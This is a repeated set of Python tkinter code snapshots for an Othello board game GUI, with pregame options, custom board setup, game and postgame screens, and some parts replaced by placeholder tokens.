"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n 